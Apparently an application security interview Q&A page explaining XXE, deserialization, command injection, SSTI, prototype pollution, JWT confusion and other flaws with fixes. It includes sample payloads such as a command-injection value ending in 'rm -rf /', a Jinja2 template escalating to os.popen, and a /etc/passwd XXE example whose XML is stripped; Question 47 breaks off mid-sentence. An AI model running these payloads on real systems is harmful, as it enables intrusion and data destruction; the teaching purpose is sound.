XXE exploits XML parsers that, by default or misconfiguration, resolve `` declarations pointing at external resources. An attacker submits XML containing an entity referencing a local file path or an internal URL, and if the parser expands external entities during parsing, whatever gets echoed back to the attacker (or used internally by the application) now includes that file's contents — or triggers an SSRF-style request to an internal service. ```xml ]> &xxe; ``` If the application parses this and reflects the `foo` element's content back to the user, the contents of `/etc/passwd` come along with it. The fix is to disable DTD processing and external entity resolution at the parser configuration level — in Java, setting the `disallow-doctype-decl` feature to true on the `DocumentBuilderFactory`; in Python's `lxml`, constructing the parser with `resolve_entities=False`. Most modern XML library versions now default to this safer behavior, but older configurations or libraries explicitly configured for legacy compatibility often still have it enabled, so it's worth an explicit check rather than assuming the default is safe.

Question 31

What is insecure deserialization and why is it hard to fully eliminate once present?

Accepted Answer

Insecure deserialization happens when an application takes untrusted bytes and reconstructs them into live objects using a full-object deserializer — Java's `ObjectInputStream.readObject()`, PHP's `unserialize()`, Python's `pickle.loads()`. If an attacker controls the serialized data, they can construct a "gadget chain": a sequence of classes already present on the application's classpath whose constructors, setters, or `__wakeup`/`readObject`-style hooks, when invoked in a particular order during deserialization, chain together into arbitrary code execution — without any bug existing in the application's own code at all.

This is what makes it hard to eliminate: the vulnerable pieces are typically ordinary, otherwise-safe classes in trusted third-party libraries, and a gadget chain can be constructed from combinations the library authors never anticipated as dangerous together. Patching one gadget doesn't remove the risk if another exploitable chain exists elsewhere in the dependency tree.

The real fix is architectural: never deserialize untrusted data using a full-object deserializer at all — use a data-only format like JSON parsed against a fixed schema instead, which can only ever produce plain data structures, never live objects with executable behavior. Where native deserialization genuinely can't be avoided, restrict it with an explicit allow-list of deserializable classes (Java's `ObjectInputFilter`), rejecting anything outside that small trusted set.

Question 32

What is the principle of least privilege and how does it limit the impact of a compromise?

Accepted Answer

The principle of least privilege means every user, service, or process should hold only the minimum set of permissions required to do its specific job, and only for as long as it needs them — nothing broader, granted "just in case." It's a containment strategy: it doesn't prevent a compromise from happening, but it drastically limits what an attacker can do once one occurs.

A concrete example: a reporting Lambda function that only ever reads from one S3 bucket should have an IAM role scoped exactly to `s3:GetObject` on that bucket's specific ARN — not a broad `s3:*` on `*`. If that function is later compromised through a vulnerable dependency, the attacker inherits only read access to that one bucket, not the ability to read, write, or delete data across the entire AWS account.

The same principle applies to human access: just-in-time elevated permissions for a specific task, expiring automatically afterward, instead of engineers holding standing admin rights they rarely use. In both cases the goal is the same — shrinking the blast radius of any single compromised credential or process to the smallest area it can possibly be.

Question 33

What are the essential HTTP security headers and what does each one actually protect against?

Accepted Answer

Content-Security-Policy restricts which sources scripts, styles, and frames are allowed to load from, and is the strongest available mitigation for limiting the *impact* of an XSS bug that does slip through, since even injected script tags can be blocked from executing if they don't match the policy. Strict-Transport-Security (`max-age=31536000; includeSubDomains`) tells the browser to only ever connect to the site over HTTPS going forward, closing off SSL-stripping man-in-the-middle attacks on future visits. X-Content-Type-Options: `nosniff` stops the browser from guessing a response's content type based on its bytes rather than its declared `Content-Type`, which prevents certain upload-based XSS tricks where a file is served as one type but sniffed and executed as another. X-Frame-Options (or the `frame-ancestors` directive in CSP) prevents the page from being embedded in an iframe on another site, blocking clickjacking attacks.
```
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
```
None of these fix an underlying vulnerability — they're defense-in-depth layers that reduce what an attacker can do if something else has already gone wrong.

Question 34

What is threat modeling, and how does the STRIDE framework structure the exercise?

Accepted Answer

Threat modeling is the practice of systematically asking "what could go wrong with this design" before or while a feature is built, rather than discovering the answer later via a pentest report or an actual breach. It's fundamentally a design-time activity, and its value comes from surfacing concrete, actionable questions early, when fixing them is cheap.

STRIDE is a mnemonic for categorizing threat types so a review doesn't miss whole classes of risk: Spoofing (impersonating an identity), Tampering (unauthorized modification of data or code), Repudiation (an action happening with no audit trail to prove who did it), Information Disclosure (data exposed to someone unauthorized to see it), Denial of Service, and Elevation of Privilege.

For a concrete example, take a new "share this document via link" feature: STRIDE prompts questions like — can the share link itself be guessed or spoofed (Spoofing), can the shared document be modified after the link was generated without the owner knowing (Tampering), is there a log of who accessed the link (Repudiation), does the link leak to third-party analytics via a referrer header (Information Disclosure), can the link-generation endpoint be flooded (DoS), and can a viewer with read access find a path to edit access (Elevation of Privilege). Running through all six categories surfaces concrete design gaps well before a single line of code is written.

Question 35

What's the practical difference between SAST, DAST, and IAST, and when would you use each?

Accepted Answer

SAST (Static Application Security Testing) analyzes source code or bytecode without executing it, so it can run early in CI on every commit and catch patterns like SQL injection or hardcoded secrets before code ever ships — but because it has no runtime context, it tends to produce more false positives, such as flagging input it can't recognize as already sanitized by a custom function.

DAST (Dynamic Application Security Testing) tests a running application from the outside, essentially acting like an automated attacker sending real HTTP requests — this catches genuinely exploitable, runtime-observable issues (missing security headers, actual working injection) but is limited to whatever surface it can crawl and reach, and it can't tell you which line of source code caused the problem.

IAST (Interactive Application Security Testing) instruments the application at runtime with an in-process agent, combining both views: it observes real traffic like DAST but has SAST-level visibility into the code, so it can confirm a finding is genuinely reachable and exploitable *and* pinpoint the exact source line responsible — generally producing fewer false positives than either approach alone, at the cost of needing an instrumented deployment (typically used in staging/QA rather than production).

In practice most mature programs run SAST in CI for fast, cheap early feedback, DAST periodically against staging/production for outside-in validation, and IAST where the extra setup cost is justified by wanting both signal quality and exact code location in one pass.

Question 36

What is a man-in-the-middle attack, and what specifically does TLS do to prevent it?

Accepted Answer

A man-in-the-middle (MITM) attack is when an attacker secretly positions themselves between two communicating parties who believe they're talking directly to each other, able to read and potentially alter the traffic passing through. A classic scenario: on an open public Wi-Fi network, an attacker sits between a victim and their bank's server, intercepting login credentials sent over plain, unencrypted HTTP.

TLS addresses this with three distinct properties working together. Encryption makes the transcript unreadable to anyone who isn't a legitimate endpoint, so even if the attacker intercepts every packet, the content is meaningless to them. Integrity checking (via MACs on each record) means any tampering with data in transit is detectable, so a modified packet gets rejected rather than silently accepted. Authentication — via the server presenting a certificate signed by a trusted Certificate Authority — cryptographically proves the server is who it claims to be, which is what actually stops the attacker from simply impersonating the real server: doing so would require also forging a certificate that a trusted CA has genuinely signed for that exact domain, which the attacker doesn't have access to do.

Question 37

Why is rate limiting important on authentication endpoints, and what does a solid implementation look like?

Accepted Answer

Without rate limiting, an attacker can attempt an effectively unlimited number of login guesses against an authentication endpoint — credential stuffing using a leaked password list, or brute-forcing a short numeric MFA code (only 10,000 possible values for a 4-digit code) becomes trivially fast when nothing throttles the attempt rate.

A solid implementation layers several controls rather than relying on just one: per-IP rate limiting to slow down any single source, per-account lockout or exponential backoff after a threshold of failed attempts (implemented carefully so it doesn't itself become a denial-of-service vector — an attacker deliberately failing login attempts to lock a victim's account out), and a CAPTCHA challenge triggered after a small number of failures to defeat naive scripted attacks. Logging repeated failures also feeds anomaly detection, catching slow, low-and-slow credential-stuffing attempts that stay under any single rate-limit threshold but are still clearly abnormal in aggregate.

Question 38

What is multi-factor authentication, and why is SMS-based MFA considered relatively weak compared to other methods?

Accepted Answer

Multi-factor authentication requires a second, independent form of proof beyond a password — something you have (an authenticator app, a hardware key) or something you are (a biometric) — so that a leaked or guessed password alone isn't enough to gain access, since the attacker would also need to compromise that second factor separately.

SMS-based MFA is the weakest common implementation because it can be defeated without ever touching the victim's device or password at all: SIM-swapping lets an attacker social-engineer the victim's mobile carrier into porting their phone number onto a SIM the attacker controls, after which all SMS codes go straight to the attacker. SS7 network-level interception is a further, lower-level way to intercept SMS in transit that also doesn't require the victim's device.

Stronger alternatives escalate in resistance: TOTP authenticator apps (Google Authenticator, Authy) at least remove the carrier as an attack surface, while FIDO2/WebAuthn hardware security keys (YubiKey and similar) are considered phishing-resistant, because the cryptographic authentication challenge is bound to the requesting origin at the protocol level — even a pixel-perfect phishing site can't successfully relay the challenge/response to the real service, which defeats the most common real-world way MFA gets bypassed today.

Question 39

What is command injection and how do you prevent it?

Accepted Answer

Command injection occurs when user input is passed into a shell command without proper escaping, allowing an attacker to append additional commands using shell metacharacters like `;`, `|`, `&&`, or backticks. A typical example: a "ping this host" diagnostic feature implemented as `exec("ping -c 4 " + userInput)` — an attacker submits something like `8.8.8.8; rm -rf /` as the host, and the shell happily executes the ping *and* the attacker's appended command, since the shell has no way to distinguish "data" from "more shell syntax" once they're concatenated into one string.

The most reliable fix is to avoid invoking a shell entirely when possible, using an API that executes the target program directly with arguments passed as a discrete array rather than as one string the shell has to parse:
```js
// Vulnerable
exec(`ping -c 4 ${host}`);
// Safe — no shell involved, arguments passed as an array
execFile('ping', ['-c', '4', host]);
```
When a shell genuinely can't be avoided, strictly validate the input against an allow-list format appropriate to what it's supposed to be (e.g., confirm it's a well-formed IP address or hostname) before it ever reaches the command, rejecting anything that doesn't match rather than trying to escape metacharacters after the fact.

Question 40

What is HTTP request smuggling and why does it often involve conflicting Content-Length and Transfer-Encoding headers?

Accepted Answer

HTTP request smuggling exploits disagreement between a front-end proxy/load balancer and a back-end server about where one HTTP request ends and the next begins, on a connection that's being reused (kept alive) for multiple requests. The classic trigger is a request that includes both a `Content-Length` header and a `Transfer-Encoding: chunked` header — the HTTP spec says this is ambiguous and should be rejected, but many real implementations instead pick one header to trust and ignore the other, and front-end and back-end systems don't always pick the same one (CL.TE or TE.CL desync).

When that mismatch exists, an attacker crafts a request where the front end believes the body ends at one point, forwards what it thinks is "the rest" as a separate request, but the back end — parsing the same bytes differently — interprets part of the attacker's payload as the beginning of the *next* client's unrelated request on that shared connection. This can let the attacker hijack or manipulate another user's request/response, bypass front-end access-control checks the back end never sees applied, or poison a shared cache with attacker-controlled content.

The most robust fix is normalizing on HTTP/2 end-to-end, where message framing is defined unambiguously by the binary protocol rather than parsed from headers. Where HTTP/1.1 must be kept, ensure both the front end and back end use strict, spec-compliant parsers that reject any request specifying both `Content-Length` and `Transfer-Encoding`, or that have any other ambiguous framing, rather than each silently guessing.

Question 41

What is prototype pollution in JavaScript and how can it lead to a real security vulnerability?

Accepted Answer

Every plain JavaScript object inherits by default from `Object.prototype`, and that prototype is a single shared object across the entire runtime. If code merges or sets object properties from untrusted input without guarding against special key names — a naive recursive merge function, or code doing `obj[userControlledKey] = value` — an attacker can supply a key like `__proto__` to set a property directly on `Object.prototype` itself, rather than on the specific object being merged into.
```js
function merge(target, src) {
  for (const key in src) {
    target[key] = typeof src[key] === 'object' ? merge(target[key] || {}, src[key]) : src[key];
  }
  return target;
}
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
```
After this runs, *every* plain object in the entire application — including ones created later, completely unrelated to the attacker's request — now inherits `isAdmin: true` unless it explicitly overrides that property itself.

The real-world danger comes when application logic somewhere else checks `if (user.isAdmin)` expecting that to only ever be true for actual admin accounts, and gets `true` from the polluted prototype instead — this class of bug has led to genuine authorization bypasses and, in some frameworks, remote code execution. The fix: explicitly block `__proto__`, `constructor`, and `prototype` as keys in any merge/set-by-key function, use `Object.create(null)` for objects meant purely as key-value dictionaries, or use a `Map` instead of a plain object when keys come from user input.

Question 42

What is a JWT algorithm confusion attack (the RS256-to-HS256 exploit), and how do you prevent it?

Accepted Answer

Some JWT verification libraries pick which algorithm to use for checking a signature based on the `alg` field the token itself declares, rather than the algorithm the server actually expects. RS256 is asymmetric — a private key signs the token, and the corresponding *public* key (which, by design, is meant to be publicly distributable) verifies it. HS256 is symmetric — the same single secret both signs and verifies.

If a server is set up to verify RS256 tokens but its JWT library also happily accepts HS256 tokens when told to, an attacker who already knows the server's RSA public key (again, intentionally public) can craft a forged token declaring `alg: HS256`, then compute the HMAC signature using the public key's raw bytes as the HMAC secret. The vulnerable verifier, trusting the token's own `alg` claim, treats this as an HS256 token and uses that same public key value as the HMAC secret to check the signature — and it matches, because the attacker signed it with exactly that value.

The fix is to never let the token's own header dictate which algorithm gets used to verify it. The server must hardcode the single expected algorithm (or an explicit, small allow-list) and reject any token whose `alg` header doesn't match exactly — essentially every modern JWT library now requires passing an explicit list of allowed algorithms into the verification call precisely because of this historical class of bug.

Question 43

What is a dependency confusion attack and how do organizations defend against it?

Accepted Answer

Dependency confusion exploits how package managers resolve a package name when the same name could theoretically exist in both a company's private/internal registry and the public registry (npm, PyPI, etc.). If the build tooling is configured to also check the public registry for internal package names — or checks it first, or simply resolves by highest available version number across both — an attacker can publish a public package under the exact same name as a company's real internal package, at a higher version number than the internal one.

When the next build runs, the resolver pulls the attacker's public package instead of the legitimate internal one, and because most package managers execute install-time scripts automatically, the attacker's code runs directly inside the company's CI or developer build environment — no phishing or credential theft required, just publishing a correctly-named package to a public registry.

The defense is to make the resolution unambiguous rather than relying on the registry to guess correctly: scope internal packages under a private namespace (`@company/internal-pkg`), explicitly configure the package manager to route that scope to the internal registry only (npm's per-scope `.npmrc` registry config, for example), so it never falls through to the public registry for those names at all — and as a defensive backstop, reserve the equivalent unscoped package names on the public registry so an attacker can't claim them either.

Question 44

What is subdomain takeover and how does it happen?

Accepted Answer

Subdomain takeover happens when a company's DNS record — typically a CNAME — points a subdomain at a third-party service (an S3 bucket, a Heroku app, a GitHub Pages site), that underlying resource is later deleted or decommissioned, but nobody removes the now-dangling DNS record pointing at it.

Because the resource name is now unclaimed on the third-party platform, an attacker can simply register a new resource with that exact same name on the same platform. The company's DNS record, still live and still pointing at that name, now resolves to content the attacker fully controls — served under a subdomain that browsers, users, and even other parts of the company's own security tooling still trust as legitimate. This is useful for phishing under a trusted domain, for stealing cookies if the subdomain shares a cookie scope with the parent domain, or for bypassing CSP or CORS allow-lists that trust the entire parent domain without distinguishing subdomains.

Prevention comes down to inventory hygiene: maintain a complete list of every DNS record pointing at an external service, and tear the DNS record down as part of the same process that decommissions the underlying resource — never leave the two out of sync. Periodic automated scanning for dangling CNAMEs (tools like `dnsReaper` or `Subjack`) catches anything that slips through despite that discipline.

Question 45

What is web cache poisoning, and how does it differ from web cache deception?

Accepted Answer

Web cache poisoning exploits a mismatch between what a caching layer uses as its "cache key" and what the origin server's response actually varies on. Caches typically key on the URL plus a small set of headers, but if the origin's response content also depends on some *unkeyed* input — for example, an `X-Forwarded-Host` header the app reflects into a generated redirect URL or asset link — an attacker can send one request with a malicious value in that unkeyed header, get a poisoned response generated, and have the cache store and serve that exact poisoned response to every subsequent visitor requesting the same cached URL, until the entry expires.

Web cache deception is the inverse-flavored problem: an attacker appends something that looks like a static file extension to a URL that actually returns a victim's private, dynamically generated content — say `/account/settings.js` — and if the caching layer decides what's cacheable based on the URL's apparent extension rather than the actual response's `Cache-Control` headers, it caches the victim's personal data under that URL and serves it to whoever requests the same path next.

Both are fixed the same way at the root: make sure the cache key genuinely includes every input the response varies on, and never let extension-based heuristics decide cacheability for authenticated or personalized responses — cacheability should be driven explicitly by the origin server's own `Cache-Control` headers.

Question 46

How can a race condition in application business logic (not memory-level concurrency) lead to a real exploit like a coupon or balance being used more than once?

Accepted Answer

Business-logic race conditions exploit the gap between reading a value and acting on it, when two requests are processed concurrently. A coupon-redemption or balance-withdrawal endpoint that implements "check remaining uses/balance, then decrement it" as two separate application-level steps — a read followed later by a write — has a window where a second, near-simultaneous request can perform its own read before the first request's write has been committed.

An attacker exploits this by firing the same "redeem this coupon" or "withdraw funds" request many times in rapid parallel succession (trivially done with a proxy tool that sends dozens of requests within a few milliseconds of each other). Every one of those concurrent requests reads the same still-valid, not-yet-decremented value, so all of them pass the check and succeed — the coupon that should only be usable once gets applied 40 times, or the account balance goes negative, even though the application code technically "checked" every single time.

The fix is to make the check-and-decrement one atomic operation at the database level, not two separate application steps: a conditional update that checks and modifies in a single statement, verifying the affected-row count to confirm it actually applied.
```sql
UPDATE coupons SET uses_left = uses_left - 1
WHERE id = ? AND uses_left > 0;
-- if rows affected == 0, the coupon was already exhausted — reject
```
Alternatively, wrap the read-check-write in a database transaction with explicit row locking, but a single atomic conditional update is usually simpler and performs better under contention.

Question 47

What is DOM clobbering and how can it bypass an HTML sanitizer that only strips script tags and event handlers?

Accepted Answer

DOM clobbering abuses a quirk of browser behavior: HTML elements that have `id` or `name` attributes automatically become accessible as named properties on the global `window` object (or on their containing element), without any JavaScript needing to explicitly create them. If an attacker can inject HTML — even into a context where a sanitizer has already stripped `

Question 48

What is Server-Side Template Injection (SSTI) and how is it different from XSS?

Accepted Answer

SSTI happens when user input is concatenated directly into a template *string* that then gets handed to the templating engine to render, rather than being passed in as a data value substituted into an already-defined template's placeholder. The difference from XSS is where the injected code executes: XSS runs attacker JavaScript in the *victim's browser*; SSTI gets the *template engine itself, on the server*, to evaluate attacker-supplied template syntax, which is a server-side code execution primitive, not just a client-side one.

A concrete Flask/Jinja2 example: `render_template_string("Hello " + name)`, where `name` comes straight from a query parameter, lets an attacker submit `{{7*7}}` and get `49` back in the response — confirming the template engine evaluated their input as template syntax rather than treating it as plain text. From there it typically escalates: Jinja2 templates can traverse Python object internals, so a payload can walk from a harmless-looking object reference all the way to `__import__('os').popen('id').read()`, achieving full remote code execution on the server.

The fix is to never build the template string itself from user input — always pass user-supplied data in as a *variable* to a template the application already defines, so the engine treats it purely as data to substitute, never as syntax to evaluate: `render_template("hello.html", name=name)` instead of concatenating `name` into the template text.

Question 49

What is a timing attack, and why must secret comparisons use a constant-time function?

Accepted Answer

A timing attack extracts secret information by measuring how long an operation takes, in cases where that duration correlates with something about the secret itself. The classic case is comparing a submitted value — an API key, an HMAC signature, a password reset token — against the correct value using a naive equality check (`==`, `strcmp`), which typically short-circuits and returns as soon as it hits the first mismatched byte. That means a guess whose first byte happens to be correct takes measurably longer to reject than a guess that's wrong from the very first byte.

An attacker who can measure response timing precisely enough (often averaging many requests to smooth out network jitter) can exploit this to recover the secret one byte at a time — try all 256 values for byte one, keep whichever took longest, then move to byte two, and so on — turning what should be an astronomically large brute-force search into a linear one.

The fix is a constant-time comparison function, which always examines every byte of both inputs regardless of where the first mismatch occurs, so the total execution time carries no information about how many leading bytes were correct.
```python
import hmac
if hmac.compare_digest(submitted_signature, expected_signature):
    ...
```
Using a language or library's built-in constant-time comparison function (rather than writing one by hand) matters because a well-intentioned manual implementation can still leak timing through compiler optimizations or CPU-level short-circuiting that isn't obvious from the source code.

Question 50

Why is GraphQL introspection risky in production, and how can operation batching be abused to bypass rate limiting?

Accepted Answer

GraphQL's introspection feature lets any client query the schema itself (`__schema`, `__type`) to enumerate every type, field, mutation, and argument the API exposes — extremely useful for developer tooling during active development, but if left enabled in production it hands an attacker a complete, precise map of the entire API surface for free, including internal-sounding mutations or fields that were never meant to be discoverable by guessing field names.

Separately, most GraphQL server implementations support sending multiple queries or mutations bundled into a single HTTP request (batching), intended to reduce round-trips for legitimate clients fetching several things at once. Without a limit on the number of operations allowed per batched request, an attacker can pack hundreds of login-mutation attempts — each trying a different password guess — into one single HTTP POST. A rate limiter that only counts HTTP requests (not the individual operations inside each request's body) sees this as one request and lets it straight through, effectively giving the attacker hundreds of free guesses per rate-limit window.

The fixes address each independently: disable introspection in production entirely, or restrict it to authenticated internal tooling only; and make rate limiting and any complexity/cost analysis count individual operations *within* a batched request rather than treating the whole batch as a single unit of work.

Application Security Interview Questions & Answers

Ready to practice these live?